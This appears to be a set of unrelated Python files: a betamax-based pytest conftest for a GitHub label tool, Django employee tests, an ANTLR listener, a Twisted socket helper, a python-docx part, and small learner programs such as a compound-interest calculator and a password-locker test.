import configparser import json import os import subprocess import sys import requests import betamax from betamax_serializers.pretty_json import PrettyJSONSerializer import pytest ABS_PATH = os.path.abspath(os.path.dirname(__file__)) FIXTURES_PATH = ABS_PATH + '/fixtures' CASSETTES_PATH = FIXTURES_PATH + '/cassettes' CONFIGS_PATH = FIXTURES_PATH + '/configs' DATA_PATH = FIXTURES_PATH + '/data' DUMMY_TOKEN = 'thisIsNotRealToken' BAD_TOKEN = 'thisIsBadToken' sys.path.insert(0, ABS_PATH + '/../') def decode_if_bytes(obj, encoding='utf-8'): if isinstance(obj, bytes): return obj.decode(encoding) return obj class MissingConfigError(Exception): def __init__(self, *args): super().__init__(*args) class GitHubMatcher(betamax.BaseMatcher): name = 'mipyt-github' @staticmethod def _has_correct_token(request, recorded_request): # GitHub token should be in headers header_token = request.headers.get('Authorization', '') correct_token = recorded_request['headers']['Authorization'] correct_token = correct_token.replace('<TOKEN>', DUMMY_TOKEN) correct_token = correct_token.replace('<BAD_TOKEN>', BAD_TOKEN) return header_token == correct_token @staticmethod def _has_user_agent(request): # GitHub requires User-Agent, requests should do it automatically return request.headers.get('User-Agent', None) is not None @staticmethod def _match_body_json(request, recorded_request): if request.body is None: # Tested body is empty so should the recorded return recorded_request['body']['string'] == '' if recorded_request['body']['string'] == '': # Recorded body is empty but tested is not return False data1 = json.loads(recorded_request['body']['string']) data2 = json.loads(decode_if_bytes(request.body)) # Compare JSON data from bodies return data1 == data2 def match(self, request, recorded_request): return self._has_correct_token(request, recorded_request) and \ self._has_user_agent(request) and \ self._match_body_json(request, recorded_request) betamax.Betamax.register_request_matcher(GitHubMatcher) betamax.Betamax.register_serializer(PrettyJSONSerializer) with betamax.Betamax.configure() as config: config.cassette_library_dir = CASSETTES_PATH config.default_cassette_options['serialize_with'] = 'prettyjson' config.default_cassette_options['match_requests_on'] = [ 'method', 'uri', 'mipyt-github' ] token = os.environ.get('GITHUB_TOKEN', DUMMY_TOKEN) if 'GITHUB_TOKEN' in os.environ: config.default_cassette_options['record_mode'] = 'all' else: config.default_cassette_options['record_mode'] = 'none' config.define_cassette_placeholder('<TOKEN>', token) config.define_cassette_placeholder('<BAD_TOKEN>', BAD_TOKEN) @pytest.fixture() def github_maker(betamax_session): from labelord.github import GitHub def inner_maker(github_token): return GitHub(github_token, session=betamax_session) return inner_maker @pytest.fixture() def github_token(): return os.environ.get('GITHUB_TOKEN', DUMMY_TOKEN) @pytest.fixture() def github(github_maker, github_token): return github_maker(github_token) @pytest.fixture() def github_bad_token(github_maker): return github_maker(BAD_TOKEN) class Utils: BETAMAX_ERRORS = 0 @staticmethod def config(name): return CONFIGS_PATH + '/' + name + '.cfg' @staticmethod def load_data(name): with open(DATA_PATH + '/' + name + '.json') as f: return f.read() @staticmethod def create_auth(username, password): import base64 return { 'Authorization': 'Basic ' + base64.b64encode( bytes(username + ":" + password, 'ascii') ).decode('ascii') } @classmethod def monkeypatch_betamaxerror(cls, monkeypatch): cls.BETAMAX_ERRORS = 0 def monkey_init(self, message): super(betamax.BetamaxError, self).__init__(message) cls.BETAMAX_ERRORS += 1 monkeypatch.setattr(betamax.BetamaxError, '__init__', monkey_init) @pytest.fixture def utils(): return Utils() class ModuleUtils: def __init__(self, cfg, tmpdir, sh): self.cfg = cfg self.tmpdir = tmpdir self.sh = sh @property def git(self): return self.cfg['commands']['git'] @property def create_venv(self): return self.cfg['commands']['create_venv'] @property def python(self): return str(self.tmpdir.join(self.cfg['commands']['python'])) @property def pytest(self): return '{} -m {}'.format(self.python, self.cfg['commands']['pytest']) @property def pip(self): return '{} -m {}'.format(self.python, self.cfg['commands']['pip']) @property def pip_testpypi(self): return '{} -m {}'.format(self.python, self.cfg['commands']['pip_testpypi']) @staticmethod def ssh_github(reposlug): return '[email protected]:{}.git'.format(reposlug) @staticmethod def https_github(reposlug): return 'https://github.com/{}.git'.format(reposlug) @property def repo_ssh(self): return self.cfg['vars']['repo_full'] @property def repo_branch(self): return self.cfg['vars']['branch'] def get_set(self, set_name): return frozenset(self.cfg.get('sets', set_name, fallback='').split(' ')) def create_fresh_venv(self): result = self.sh(self.create_venv) assert result.was_successful, \ 'Could not create virtualenv for Python: {}'.format(result.stderr) def clone_repo(self, repo_dir): result = self.sh(self.git, 'clone', '-b', self.repo_branch, self.repo_ssh, repo_dir) assert result.was_successful, \ 'Could not clone the repository {}: {}'.format(self.repo_ssh, result.stderr) def clone_repo_with_fresh_venv(self, repo_dir): self.create_fresh_venv() self.clone_repo(repo_dir) class ShellExecutionResult: def __init__(self, stdout, stderr, return_code): self.stdout = stdout self.stderr = stderr self.return_code = return_code @property def was_successful(self): return self.return_code == 0 @property def outerr(self): return '{}\n{}\n{}'.format(self.stdout, '-'*80, self.stderr) @pytest.fixture() def config(): ext_vars = { 'LABELORD_BRANCH': 'master' } ext_vars.update(os.environ) cfg = configparser.ConfigParser(ext_vars) cfg.read(CONFIGS_PATH + '/test_config.cfg') if not cfg.has_option('vars', 'ctu_username'): raise MissingConfigError( 'CTU_USERNAME env var is missing!' ) if not cfg.has_option('vars', 'repo_full'): raise MissingConfigError( 'LABELORD_REPO env var is missing!' ) return cfg @pytest.fixture() def sh(): def shell_executor(command, *args): p = subprocess.Popen( ' '.join([command, *args]), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True ) stdout, stderr = p.communicate() return ShellExecutionResult(stdout, stderr, p.returncode) return shell_executor @pytest.fixture() def moduleutils(config, tmpdir, sh): return ModuleUtils(config, tmpdir, sh) class LabelordInvocation: def __init__(self, runner, result, session): self.runner = runner self.result = result self.session = session @pytest.fixture def invoker(betamax_session): from click.testing import CliRunner from flexmock import flexmock from labelord import cli def invoker_inner(*args, isolated=False, session_expectations=None): session_mock = flexmock(betamax_session or requests.Session()) if os.environ.get('LABELORD_SESSION_SPY', '').lower() != 'off' and \ session_expectations is not None: for what, count in session_expectations.items(): session_mock.should_call(what).times(count) runner = CliRunner() args = [a for a in args if a is not None] if isolated: with runner.isolated_filesystem(): result = runner.invoke(cli, args, obj={'session': session_mock}) else: result = runner.invoke(cli, args, obj={'session': session_mock}) return LabelordInvocation(runner, result, session_mock) return invoker_inner @pytest.fixture def invoker_norec(): return invoker(None) @pytest.fixture def client_maker(betamax_session, utils, monkeypatch): def inner_maker(config, own_config_path=False, session_expectations=None): from flexmock import flexmock if not own_config_path: config = Utils.config(config) session_mock = flexmock(betamax_session or requests.Session()) # MonkeyPatch BetamaxError utils.monkeypatch_betamaxerror(monkeypatch) if os.environ.get('LABELORD_SESSION_SPY', '').lower() != 'off' and \ session_expectations is not None: for what, count in session_expectations.items(): session_mock.should_call(what).times(count) os.environ['LABELORD_CONFIG'] = config from labelord import app app.inject_session(betamax_session) app.reload_config() client = app.test_client() return client yield inner_maker # Check number of created BetamaxErrors # You should catch only your/specific exceptions try: assert utils.BETAMAX_ERRORS == 0, \ 'There were some BetamaxErrors (although you might ' \ 'have caught them)!' finally: Utils.BETAMAX_ERRORS = 0
python
""" Solution to Compound Interest Calculator """ if __name__ == '__main__': principal = input('Enter the Principal: ') # type checking here try: principal = float(principal) except ValueError: print('Invalid principal Amount') exit(0) rate = input('Enter the rate (%%): ') # type checking here try: rate = float(rate) except ValueError: print('Invalid rate Amount') exit(0) years = input('Enter the time in years: ') # type checking here try: years = int(years) except ValueError: print('Invalid number of years') exit(0) # wanna avoid underflow errors here if principal <= 0 or rate <= 0 or years <= 0: print('Invalid principal, rate or number of years') exit(0) year = 1 while year <= years: interest = (principal * rate) / 100 print('\nYear {year}'.format(year=year)) print('Compound Interest: {interest}'.format(interest=interest)) principal += interest print('New Principal: {principal}'.format(principal=principal)) year += 1 print('')
python
# encoding: utf-8 """ Core properties part, corresponds to ``/docProps/core.xml`` part in package. """ from __future__ import ( absolute_import, division, print_function, unicode_literals ) from datetime import datetime from ..constants import CONTENT_TYPE as CT from ..extendedprops import ExtendedProperties from ...oxml.extendedprops import CT_ExtendedProperties from ..packuri import PackURI from ..part import XmlPart class ExtendedPropertiesPart(XmlPart): """ Corresponds to part named ``/docProps/app.xml``, containing the extended document properties for this document package. """ @classmethod def default(cls, package): """ Return a new |CorePropertiesPart| object initialized with default values for its base properties. """ extended_properties_part = cls._new(package) extended_properties = extended_properties_part.extended_properties extended_properties.template = 'Normal.dotm' extended_properties.total_time = 0 extended_properties.pages = 1 extended_properties.words = 0 extended_properties.characters = 0 extended_properties.application = "python-docx" extended_properties.doc_security = 0 extended_properties.lines = 1 extended_properties.paragraphs = 1 extended_properties.scale_crop = False # TODO: heading_pairs and titles_of_parts extended_properties.manager = "The Boss" extended_properties.company = "" extended_properties.links_up_to_date = False extended_properties.characters_with_spaces = 0 extended_properties.shared_doc = False extended_properties.hyperlink_base = "" extended_properties.hyperlinks_changed = False extended_properties.app_version = "0.8.10" return extended_properties_part @property def extended_properties(self): """ A |ExtendedProperties| object providing read/write access to the extended properties contained in this extended properties part. """ return ExtendedProperties(self.element) @classmethod def _new(cls, package): partname = PackURI('/docProps/app.xml') content_type = CT.OFC_EXTENDED_PROPERTIES extendedProperties = CT_ExtendedProperties.new() return ExtendedPropertiesPart( partname, content_type, extendedProperties, package )
python
import pytest from django.core.exceptions import ValidationError from django.urls import reverse from django.utils import timezone from vms import models def test_approve(client_admin_factory, employee_factory): """ Approving an employee should save the approval information and mark the employee as active. """ employee = employee_factory(is_active=False) admin = client_admin_factory(client=employee.client) employee.approve(admin) employee.refresh_from_db() assert employee.approved_by == admin assert employee.is_active assert employee.time_approved is not None def test_approve_already_approved(client_admin_factory, employee_factory): """ If the employee is already approved, no action should be taken. """ admin = client_admin_factory() time = timezone.now() employee = employee_factory( approved_by=admin, client=admin.client, is_active=True, time_approved=time, ) employee.approve(admin) employee.refresh_from_db() assert employee.approved_by == admin assert employee.time_approved == time def test_clock_in_url(employee_factory): """ This property should return the URL of the view used to clock in an employee. """ employee = employee_factory() expected = reverse( 'vms:clock-in', kwargs={ 'client_slug': employee.client.slug, 'employee_id': employee.employee_id, }, ) assert employee.clock_in_url == expected def test_clock_out_url(employee_factory): """ This property should return the URL of the view used to clock out an employee. """ employee = employee_factory() expected = reverse( 'vms:clock-out', kwargs={ 'client_slug': employee.client.slug, 'employee_id': employee.employee_id, }, ) assert employee.clock_out_url == expected def test_get_absolute_url(employee_factory): """ This property should return the URL of the view used to see employee dashboard. """ employee = employee_factory() expected = reverse( 'vms:employee-dash', kwargs={ 'client_slug': employee.client.slug, 'employee_id': employee.employee_id, }, ) assert employee.get_absolute_url() == expected def test_save_new_employee( client_factory, staffing_agency_factory, user_factory): """ Saving a new employee should generate a unique ID for the employee. """ employee = models.Employee( client=client_factory(), staffing_agency=staffing_agency_factory(), user=user_factory() ) employee.save() assert employee.employee_id is not None def test_save_old_employee(employee_factory): """ Saving an existing employee with an ID should not generate a new ID. """ emp = employee_factory() old_id = emp.employee_id emp.save() assert emp.employee_id == old_id def test_string_conversion(employee_factory): """ Converting an employee to a string should return a string with the employee's name and staffing agency. """ employee = employee_factory() expected = f'{employee.user.name} (Hired by {employee.staffing_agency})' assert str(employee) == expected def test_validate_unique_excluded(employee_factory): """ If an employee has a duplicate ID but the field is excluded from the check, the validation should pass. """ emp1 = employee_factory() emp2 = employee_factory(client=emp1.client) emp1.employee_id = emp2.employee_id emp1.validate_unique(exclude=['employee_id']) def test_validate_unique_new_employee_duplicate_id( employee_factory, user_factory): """ If there is already an employee working for the same client with the same ID, the unique validation should fail. """ old_emp = employee_factory() new_emp = models.Employee( client=old_emp.client, employee_id=old_emp.employee_id, staffing_agency=old_emp.staffing_agency, user=user_factory(), ) with pytest.raises(ValidationError): new_emp.validate_unique() def test_validate_unique_new_employee_unique_id( client_factory, employee_factory, user_factory): """ If two employees have the same ID but work for different clients, the validation should succeed. """ old_emp = employee_factory() new_emp = models.Employee( client=client_factory(), employee_id=old_emp.employee_id, staffing_agency=old_emp.staffing_agency, user=user_factory(), ) new_emp.validate_unique() def test_validate_unique_old_employee_duplicate_id(employee_factory): """ If an existing employee's ID is changed to match the ID of another employee working for the same client, the validation should fail. """ emp1 = employee_factory() emp2 = employee_factory(client=emp1.client) emp1.employee_id = emp2.employee_id with pytest.raises(ValidationError): emp1.validate_unique() def test_validate_unique_old_employee_unique_id(employee_factory): """ An existing employee with a unique ID should pass validation. """ emp = employee_factory() emp.validate_unique()
python
class Solution: def maximumCandies(self, candies: List[int], k: int) -> int: l = 1 r = sum(candies) // k def numChildren(m: int) -> bool: return sum(c // m for c in candies) while l < r: m = (l + r) // 2 if numChildren(m) < k: r = m else: l = m + 1 return l if numChildren(l) >= k else l - 1
python
# Generated from grammar/Evans.g4 by ANTLR 4.7.2 from antlr4 import * if __name__ is not None and "." in __name__: from .EvansParser import EvansParser else: from EvansParser import EvansParser # This class defines a complete listener for a parse tree produced by EvansParser. class EvansListener(ParseTreeListener): # Enter a parse tree produced by EvansParser#codeFile. def enterCodeFile(self, ctx:EvansParser.CodeFileContext): pass # Exit a parse tree produced by EvansParser#codeFile. def exitCodeFile(self, ctx:EvansParser.CodeFileContext): pass # Enter a parse tree produced by EvansParser#classDeclaration. def enterClassDeclaration(self, ctx:EvansParser.ClassDeclarationContext): pass # Exit a parse tree produced by EvansParser#classDeclaration. def exitClassDeclaration(self, ctx:EvansParser.ClassDeclarationContext): pass # Enter a parse tree produced by EvansParser#classBody. def enterClassBody(self, ctx:EvansParser.ClassBodyContext): pass # Exit a parse tree produced by EvansParser#classBody. def exitClassBody(self, ctx:EvansParser.ClassBodyContext): pass # Enter a parse tree produced by EvansParser#attributeList. def enterAttributeList(self, ctx:EvansParser.AttributeListContext): pass # Exit a parse tree produced by EvansParser#attributeList. def exitAttributeList(self, ctx:EvansParser.AttributeListContext): pass # Enter a parse tree produced by EvansParser#stateList. def enterStateList(self, ctx:EvansParser.StateListContext): pass # Exit a parse tree produced by EvansParser#stateList. def exitStateList(self, ctx:EvansParser.StateListContext): pass # Enter a parse tree produced by EvansParser#constructorList. def enterConstructorList(self, ctx:EvansParser.ConstructorListContext): pass # Exit a parse tree produced by EvansParser#constructorList. def exitConstructorList(self, ctx:EvansParser.ConstructorListContext): pass # Enter a parse tree produced by EvansParser#functionList. def enterFunctionList(self, ctx:EvansParser.FunctionListContext): pass # Exit a parse tree produced by EvansParser#functionList. def exitFunctionList(self, ctx:EvansParser.FunctionListContext): pass # Enter a parse tree produced by EvansParser#goalList. def enterGoalList(self, ctx:EvansParser.GoalListContext): pass # Exit a parse tree produced by EvansParser#goalList. def exitGoalList(self, ctx:EvansParser.GoalListContext): pass # Enter a parse tree produced by EvansParser#predicateList. def enterPredicateList(self, ctx:EvansParser.PredicateListContext): pass # Exit a parse tree produced by EvansParser#predicateList. def exitPredicateList(self, ctx:EvansParser.PredicateListContext): pass # Enter a parse tree produced by EvansParser#operatorList. def enterOperatorList(self, ctx:EvansParser.OperatorListContext): pass # Exit a parse tree produced by EvansParser#operatorList. def exitOperatorList(self, ctx:EvansParser.OperatorListContext): pass # Enter a parse tree produced by EvansParser#functionDeclaration. def enterFunctionDeclaration(self, ctx:EvansParser.FunctionDeclarationContext): pass # Exit a parse tree produced by EvansParser#functionDeclaration. def exitFunctionDeclaration(self, ctx:EvansParser.FunctionDeclarationContext): pass # Enter a parse tree produced by EvansParser#goalDeclaration. def enterGoalDeclaration(self, ctx:EvansParser.GoalDeclarationContext): pass # Exit a parse tree produced by EvansParser#goalDeclaration. def exitGoalDeclaration(self, ctx:EvansParser.GoalDeclarationContext): pass # Enter a parse tree produced by EvansParser#mainDeclaration. def enterMainDeclaration(self, ctx:EvansParser.MainDeclarationContext): pass # Exit a parse tree produced by EvansParser#mainDeclaration. def exitMainDeclaration(self, ctx:EvansParser.MainDeclarationContext): pass # Enter a parse tree produced by EvansParser#nameList. def enterNameList(self, ctx:EvansParser.NameListContext): pass # Exit a parse tree produced by EvansParser#nameList. def exitNameList(self, ctx:EvansParser.NameListContext): pass # Enter a parse tree produced by EvansParser#nameWithAttrList. def enterNameWithAttrList(self, ctx:EvansParser.NameWithAttrListContext): pass # Exit a parse tree produced by EvansParser#nameWithAttrList. def exitNameWithAttrList(self, ctx:EvansParser.NameWithAttrListContext): pass # Enter a parse tree produced by EvansParser#constructorDeclaration. def enterConstructorDeclaration(self, ctx:EvansParser.ConstructorDeclarationContext): pass # Exit a parse tree produced by EvansParser#constructorDeclaration. def exitConstructorDeclaration(self, ctx:EvansParser.ConstructorDeclarationContext): pass # Enter a parse tree produced by EvansParser#genVarDeclaration. def enterGenVarDeclaration(self, ctx:EvansParser.GenVarDeclarationContext): pass # Exit a parse tree produced by EvansParser#genVarDeclaration. def exitGenVarDeclaration(self, ctx:EvansParser.GenVarDeclarationContext): pass # Enter a parse tree produced by EvansParser#variableInitializer. def enterVariableInitializer(self, ctx:EvansParser.VariableInitializerContext): pass # Exit a parse tree produced by EvansParser#variableInitializer. def exitVariableInitializer(self, ctx:EvansParser.VariableInitializerContext): pass # Enter a parse tree produced by EvansParser#listInitializer. def enterListInitializer(self, ctx:EvansParser.ListInitializerContext): pass # Exit a parse tree produced by EvansParser#listInitializer. def exitListInitializer(self, ctx:EvansParser.ListInitializerContext): pass # Enter a parse tree produced by EvansParser#genParameters. def enterGenParameters(self, ctx:EvansParser.GenParametersContext): pass # Exit a parse tree produced by EvansParser#genParameters. def exitGenParameters(self, ctx:EvansParser.GenParametersContext): pass # Enter a parse tree produced by EvansParser#predicateDeclaration. def enterPredicateDeclaration(self, ctx:EvansParser.PredicateDeclarationContext): pass # Exit a parse tree produced by EvansParser#predicateDeclaration. def exitPredicateDeclaration(self, ctx:EvansParser.PredicateDeclarationContext): pass # Enter a parse tree produced by EvansParser#operatorDeclaration. def enterOperatorDeclaration(self, ctx:EvansParser.OperatorDeclarationContext): pass # Exit a parse tree produced by EvansParser#operatorDeclaration. def exitOperatorDeclaration(self, ctx:EvansParser.OperatorDeclarationContext): pass # Enter a parse tree produced by EvansParser#operatorBody. def enterOperatorBody(self, ctx:EvansParser.OperatorBodyContext): pass # Exit a parse tree produced by EvansParser#operatorBody. def exitOperatorBody(self, ctx:EvansParser.OperatorBodyContext): pass # Enter a parse tree produced by EvansParser#operatorCodeBlock. def enterOperatorCodeBlock(self, ctx:EvansParser.OperatorCodeBlockContext): pass # Exit a parse tree produced by EvansParser#operatorCodeBlock. def exitOperatorCodeBlock(self, ctx:EvansParser.OperatorCodeBlockContext): pass # Enter a parse tree produced by EvansParser#genCodeBlock. def enterGenCodeBlock(self, ctx:EvansParser.GenCodeBlockContext): pass # Exit a parse tree produced by EvansParser#genCodeBlock. def exitGenCodeBlock(self, ctx:EvansParser.GenCodeBlockContext): pass # Enter a parse tree produced by EvansParser#blockStatement. def enterBlockStatement(self, ctx:EvansParser.BlockStatementContext): pass # Exit a parse tree produced by EvansParser#blockStatement. def exitBlockStatement(self, ctx:EvansParser.BlockStatementContext): pass # Enter a parse tree produced by EvansParser#varDeclarationStatement. def enterVarDeclarationStatement(self, ctx:EvansParser.VarDeclarationStatementContext): pass # Exit a parse tree produced by EvansParser#varDeclarationStatement. def exitVarDeclarationStatement(self, ctx:EvansParser.VarDeclarationStatementContext): pass # Enter a parse tree produced by EvansParser#IfStatement. def enterIfStatement(self, ctx:EvansParser.IfStatementContext): pass # Exit a parse tree produced by EvansParser#IfStatement. def exitIfStatement(self, ctx:EvansParser.IfStatementContext): pass # Enter a parse tree produced by EvansParser#WhileStatement. def enterWhileStatement(self, ctx:EvansParser.WhileStatementContext): pass # Exit a parse tree produced by EvansParser#WhileStatement. def exitWhileStatement(self, ctx:EvansParser.WhileStatementContext): pass # Enter a parse tree produced by EvansParser#ForStatement. def enterForStatement(self, ctx:EvansParser.ForStatementContext): pass # Exit a parse tree produced by EvansParser#ForStatement. def exitForStatement(self, ctx:EvansParser.ForStatementContext): pass # Enter a parse tree produced by EvansParser#RetStatement. def enterRetStatement(self, ctx:EvansParser.RetStatementContext): pass # Exit a parse tree produced by EvansParser#RetStatement. def exitRetStatement(self, ctx:EvansParser.RetStatementContext): pass # Enter a parse tree produced by EvansParser#BreakContStatement. def enterBreakContStatement(self, ctx:EvansParser.BreakContStatementContext): pass # Exit a parse tree produced by EvansParser#BreakContStatement. def exitBreakContStatement(self, ctx:EvansParser.BreakContStatementContext): pass # Enter a parse tree produced by EvansParser#ExpressionStatement. def enterExpressionStatement(self, ctx:EvansParser.ExpressionStatementContext): pass # Exit a parse tree produced by EvansParser#ExpressionStatement. def exitExpressionStatement(self, ctx:EvansParser.ExpressionStatementContext): pass # Enter a parse tree produced by EvansParser#assignmentStatement. def enterAssignmentStatement(self, ctx:EvansParser.AssignmentStatementContext): pass # Exit a parse tree produced by EvansParser#assignmentStatement. def exitAssignmentStatement(self, ctx:EvansParser.AssignmentStatementContext): pass # Enter a parse tree produced by EvansParser#TernaryExpression. def enterTernaryExpression(self, ctx:EvansParser.TernaryExpressionContext): pass # Exit a parse tree produced by EvansParser#TernaryExpression. def exitTernaryExpression(self, ctx:EvansParser.TernaryExpressionContext): pass # Enter a parse tree produced by EvansParser#LiteralExpression. def enterLiteralExpression(self, ctx:EvansParser.LiteralExpressionContext): pass # Exit a parse tree produced by EvansParser#LiteralExpression. def exitLiteralExpression(self, ctx:EvansParser.LiteralExpressionContext): pass # Enter a parse tree produced by EvansParser#VarExpression. def enterVarExpression(self, ctx:EvansParser.VarExpressionContext): pass # Exit a parse tree produced by EvansParser#VarExpression. def exitVarExpression(self, ctx:EvansParser.VarExpressionContext): pass # Enter a parse tree produced by EvansParser#EqualExpression. def enterEqualExpression(self, ctx:EvansParser.EqualExpressionContext): pass # Exit a parse tree produced by EvansParser#EqualExpression. def exitEqualExpression(self, ctx:EvansParser.EqualExpressionContext): pass # Enter a parse tree produced by EvansParser#IndexExpression. def enterIndexExpression(self, ctx:EvansParser.IndexExpressionContext): pass # Exit a parse tree produced by EvansParser#IndexExpression. def exitIndexExpression(self, ctx:EvansParser.IndexExpressionContext): pass # Enter a parse tree produced by EvansParser#NotExpression. def enterNotExpression(self, ctx:EvansParser.NotExpressionContext): pass # Exit a parse tree produced by EvansParser#NotExpression. def exitNotExpression(self, ctx:EvansParser.NotExpressionContext): pass # Enter a parse tree produced by EvansParser#CompareExpression. def enterCompareExpression(self, ctx:EvansParser.CompareExpressionContext): pass # Exit a parse tree produced by EvansParser#CompareExpression. def exitCompareExpression(self, ctx:EvansParser.CompareExpressionContext): pass # Enter a parse tree produced by EvansParser#OrExpression. def enterOrExpression(self, ctx:EvansParser.OrExpressionContext): pass # Exit a parse tree produced by EvansParser#OrExpression. def exitOrExpression(self, ctx:EvansParser.OrExpressionContext): pass # Enter a parse tree produced by EvansParser#ParensExpression. def enterParensExpression(self, ctx:EvansParser.ParensExpressionContext): pass # Exit a parse tree produced by EvansParser#ParensExpression. def exitParensExpression(self, ctx:EvansParser.ParensExpressionContext): pass # Enter a parse tree produced by EvansParser#AddSubExpression. def enterAddSubExpression(self, ctx:EvansParser.AddSubExpressionContext): pass # Exit a parse tree produced by EvansParser#AddSubExpression. def exitAddSubExpression(self, ctx:EvansParser.AddSubExpressionContext): pass # Enter a parse tree produced by EvansParser#AndExpression. def enterAndExpression(self, ctx:EvansParser.AndExpressionContext): pass # Exit a parse tree produced by EvansParser#AndExpression. def exitAndExpression(self, ctx:EvansParser.AndExpressionContext): pass # Enter a parse tree produced by EvansParser#PrefixExpression. def enterPrefixExpression(self, ctx:EvansParser.PrefixExpressionContext): pass # Exit a parse tree produced by EvansParser#PrefixExpression. def exitPrefixExpression(self, ctx:EvansParser.PrefixExpressionContext): pass # Enter a parse tree produced by EvansParser#AttrExpression. def enterAttrExpression(self, ctx:EvansParser.AttrExpressionContext): pass # Exit a parse tree produced by EvansParser#AttrExpression. def exitAttrExpression(self, ctx:EvansParser.AttrExpressionContext): pass # Enter a parse tree produced by EvansParser#CallExpression. def enterCallExpression(self, ctx:EvansParser.CallExpressionContext): pass # Exit a parse tree produced by EvansParser#CallExpression. def exitCallExpression(self, ctx:EvansParser.CallExpressionContext): pass # Enter a parse tree produced by EvansParser#MulDivExpression. def enterMulDivExpression(self, ctx:EvansParser.MulDivExpressionContext): pass # Exit a parse tree produced by EvansParser#MulDivExpression. def exitMulDivExpression(self, ctx:EvansParser.MulDivExpressionContext): pass # Enter a parse tree produced by EvansParser#methodCall. def enterMethodCall(self, ctx:EvansParser.MethodCallContext): pass # Exit a parse tree produced by EvansParser#methodCall. def exitMethodCall(self, ctx:EvansParser.MethodCallContext): pass # Enter a parse tree produced by EvansParser#validAttr. def enterValidAttr(self, ctx:EvansParser.ValidAttrContext): pass # Exit a parse tree produced by EvansParser#validAttr. def exitValidAttr(self, ctx:EvansParser.ValidAttrContext): pass # Enter a parse tree produced by EvansParser#expressionList. def enterExpressionList(self, ctx:EvansParser.ExpressionListContext): pass # Exit a parse tree produced by EvansParser#expressionList. def exitExpressionList(self, ctx:EvansParser.ExpressionListContext): pass # Enter a parse tree produced by EvansParser#returnType. def enterReturnType(self, ctx:EvansParser.ReturnTypeContext): pass # Exit a parse tree produced by EvansParser#returnType. def exitReturnType(self, ctx:EvansParser.ReturnTypeContext): pass # Enter a parse tree produced by EvansParser#genType. def enterGenType(self, ctx:EvansParser.GenTypeContext): pass # Exit a parse tree produced by EvansParser#genType. def exitGenType(self, ctx:EvansParser.GenTypeContext): pass # Enter a parse tree produced by EvansParser#genLiteral. def enterGenLiteral(self, ctx:EvansParser.GenLiteralContext): pass # Exit a parse tree produced by EvansParser#genLiteral. def exitGenLiteral(self, ctx:EvansParser.GenLiteralContext): pass # Enter a parse tree produced by EvansParser#classType. def enterClassType(self, ctx:EvansParser.ClassTypeContext): pass # Exit a parse tree produced by EvansParser#classType. def exitClassType(self, ctx:EvansParser.ClassTypeContext): pass # Enter a parse tree produced by EvansParser#embeddedType. def enterEmbeddedType(self, ctx:EvansParser.EmbeddedTypeContext): pass # Exit a parse tree produced by EvansParser#embeddedType. def exitEmbeddedType(self, ctx:EvansParser.EmbeddedTypeContext): pass
python
from builtins import object import logging from twisted.internet import abstract from twisted.internet.tcp import Server from twisted.internet import address, fdesc log = logging.getLogger(__name__) # AcceptedSocket class AcceptedSocket(object): transport = Server def __init__(self, skt, addr, factory, reactor, interface=''): self.skt = skt self.addr = addr self.factory = factory self.reactor = reactor self._realPortNumber = skt.getsockname()[1] self._addressType = address.IPv4Address if abstract.isIPv6Address(interface): self._addressType = address.IPv6Address def _buildAddr(self, addr): host, port = addr[:2] return self._addressType('TCP', host, port) def start(self): fdesc._setCloseOnExec(self.skt.fileno()) protocol = self.factory.buildProtocol(self._buildAddr(self.addr)) if protocol is None: log.error("Can't create protocol") return False transport = self.transport( self.skt, protocol, self.addr, self, 1, self.reactor) protocol.makeConnection(transport) return True
python
import unittest from user import User from credentials import Credentials import pyperclip class TestUser(unittest.TestCase): """ Test case that defines the behavior that should be evident in the user class """ new_user= User("Mary","Wanjiku","wanjiku254") new_account_name= Credentials("Instagram","Mary","wanjikuMburu254") def test_setUp(self): """ setup method that is executed before any test case is executed """ self.new_user= User("Mary","Wanjiku","wanjiku254") self.new_account_name= Credentials("Instagram","Mary","wanjikuMburu254") def test_tearDown(self): """ tearDown method that clears up everything after all the tests are executed """ User.user_details= [] Credentials.info_details= [] #Test to check whether the user details have been well initialized def test_init__(self): """ A test that checks whether the object is well initialized """ self.assertEqual(self.new_user.first_name,"Mary") self.assertEqual( self.new_user.second_name,"Wanjiku") self.assertEqual(self.new_user.password,"wanjiku254") self.assertEqual(self.new_account_name.account_name,"Instagram") self.assertEqual(self.new_account_name.info_password,"wanjikuMburu254") #Test that checks whether the user details have been saved def test_save_user(self): """ A test that checks whether the user details have been saved """ self.new_user.save_user() self.assertEqual(len(User.user_details),4) #Test that deletes the user's account def test_delete_user(self): """ A test that tries to check whether the user's account is deletable or deletes the user's account """ self.new_user.save_user() test_user= User("Mary","Wanjiku","wanjiku254") test_user.save_user() self.new_user.delete_account() self.assertEqual(len(User.user_details),1) #A test that finds user by first name def test_find_by_first_name(self): """ A test that finds user using the first name """ self.new_user.save_user() Mary = User("Mary","Wanjiku","wanjiku254") Mary.save_user() found_user= User.find_by_first_name("Mary") self.assertEqual(found_user.first_name,"Mary") #A test that displays the user def test_display_user(self): """ This test displays the user """ self.assertEqual(User.display_user(), User.user_details) #A test that copies credentials on the clipboard def test_copy_credentials(self): """ Method that tests whether a user can copy credentials on the clipboard """ self.new_account_name.save_info() Instagram=Credentials("Instagram", "Mary","wanjikuMburu254") Instagram.save_info() found_credentials=None for credentials in Credentials.info_details: found_credentials=Credentials.find_by_first_name( credentials.first_name) return pyperclip.copy(found_credentials.info_password) Credentials.copy_credentials(self.info_details.first_name) self.assertEqual("wanjikuMburu254",pyperclip.paste()) print(pyperclip.paste()) if __name__ == '__main__': unittest.main()
python
